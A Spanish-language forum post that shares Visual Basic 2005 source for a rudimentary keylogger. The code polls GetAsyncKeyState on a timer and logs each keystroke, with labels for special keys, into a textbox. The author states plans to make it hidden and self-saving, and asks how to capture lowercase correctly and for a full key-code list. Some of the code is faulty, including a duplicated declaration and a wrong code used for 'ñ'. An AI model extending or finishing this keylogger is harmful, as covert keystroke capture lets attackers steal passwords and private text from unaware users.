Código:
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim i As Integer
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
If GetAsyncKeyState(32) = -32767 Then
TextBox1.Text = TextBox1.Text + " "
End If
'Enter
If GetAsyncKeyState(13) = -32767 Then
TextBox1.Text = TextBox1.Text & vbCrLf & "[Enter] "
End If
'Esc
If GetAsyncKeyState(27) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Esc] "
End If
'Izquierda
If GetAsyncKeyState(37) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Izq] "
End If
'Arriba
If GetAsyncKeyState(38) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Arriba] "
End If
'Derecha
If GetAsyncKeyState(39) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Der] "
End If
'Abajo
If GetAsyncKeyState(40) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Abajo] "
End If
'Print Screen
If GetAsyncKeyState(44) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Print Screen] "
End If
'Re Pag
If GetAsyncKeyState(33) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Re Pag] "
End If
'Av Pag
If GetAsyncKeyState(34) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Av Pag] "
End If
'Fin Pag
If GetAsyncKeyState(35) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Fin Pag] "
End If
'Inicio Pag
If GetAsyncKeyState(36) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Inicio Pag] "
End If
'Supr
If GetAsyncKeyState(46) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Supr] "
End If
'Insert
If GetAsyncKeyState(45) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Insert] "
End If
'F1
If GetAsyncKeyState(112) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F1] "
End If
'F2
If GetAsyncKeyState(113) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F2] "
End If
'F3
If GetAsyncKeyState(114) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F3] "
End If
'F4
If GetAsyncKeyState(115) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F4] "
End If
'F5
If GetAsyncKeyState(116) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F5] "
End If
'F6
If GetAsyncKeyState(117) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F6] "
End If
'F7
If GetAsyncKeyState(118) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F7] "
End If
'F8
If GetAsyncKeyState(119) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F8] "
End If
'F9
If GetAsyncKeyState(120) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F9] "
End If
'F10
If GetAsyncKeyState(121) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F10] "
End If
'F11
If GetAsyncKeyState(122) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F11] "
End If
'F12
If GetAsyncKeyState(123) = -32767 Then
TextBox1.Text = TextBox1.Text & " [F12] "
End If
'Alt
If GetAsyncKeyState(164) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Alt] "
End If
'Num Lock
If GetAsyncKeyState(144) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Num Lock] "
End If
'Bloq mayús
If GetAsyncKeyState(20) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Bloq Mayús] "
End If
'ñ
If GetAsyncKeyState(164) = -32767 Then
TextBox1.Text = TextBox1.Text & "ñ"
End If
'Ñ
If GetAsyncKeyState(240) = -32767 Then
TextBox1.Text = TextBox1.Text & "Ñ"
End If
'"."
If GetAsyncKeyState(190) = -32767 Then
TextBox1.Text = TextBox1.Text & "."
End If
'","
If GetAsyncKeyState(188) = -32767 Then
TextBox1.Text = TextBox1.Text & ","
End If
'"Alt Gr"
If GetAsyncKeyState(165) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Alt Gr] "
End If
'"Del"
If GetAsyncKeyState(8) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Del] "
End If
'"Tab"
If GetAsyncKeyState(9) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Tab] "
End If
Next i
End Sub
End Class
De momento no esta oculto ni se autoguarda ni nada, de momento no he llegado a eso.
El problema es que todo me lo captura en mayúsculas aun sean minúsculas, estoy programando en Visual Basic 2005
Como hago para que no me muestre puras mayusculas y me haga la distincion correcta.
Tambien si tendran un listado completo de:
If GetAsyncKeyState(39) = -32767 Then
TextBox1.Text = TextBox1.Text & " [Der] "
Por que por ejemplo aun no puedo distinguir puntos ni shift ni los numeros del bloque numerico ni varios caracteres.
Saludos y muchas gracias.